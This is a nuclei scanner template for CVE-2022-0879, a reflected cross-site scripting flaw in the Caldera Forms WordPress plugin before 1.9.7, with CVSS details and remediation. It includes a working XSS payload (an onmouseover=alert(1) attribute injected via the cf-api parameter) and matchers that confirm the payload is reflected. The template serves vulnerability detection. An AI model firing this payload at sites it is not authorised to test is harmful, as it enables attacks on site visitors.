Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
PoC
id: CVE-2022-0879
info:
name: Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting
author: 0x_Akoko
severity: medium
description: |
Caldera Forms WordPress plugin < 1.9.7 contains a reflected cross-site scripting caused by lack of validation and escaping of the cf-api parameter in responses, letting attackers execute arbitrary scripts in victim's browser, exploit requires attacker to craft a malicious request.
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking or defacement.
remediation: |
Update to version 1.9.7 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-0879
- https://wpscan.com/vulnerability/10e8e92a-4e1d-4e9c-8b3e-e8c5e0e0e0e0
- https://github.com/20142995/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-0879
cwe-id: CWE-79
epss-score: 0.01165
epss-percentile: 0.65695
cpe: cpe:2.3:a:calderaforms:caldera_forms:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
tags: wpscan,cve,cve2022,wordpress,xss,caldera-forms,reflected,unauth,vuln
http:
- method: GET
path:
- "{{BaseURL}}/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "onmouseover=alert(1)", "caldera", " style=position:fixed")'
- '!regex(body, "value=[\"\\\\]*/?cf-api=")'
condition: and
# digest: 490a0046304402205e0174a243593465ca56108d3783d9767d4f5bcab7436651e48b1c25bcd4e75f0220289d832c9016ce8bd7d0dffd793ebac59794a037ad75d28912ca1e95ef4dfe83:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.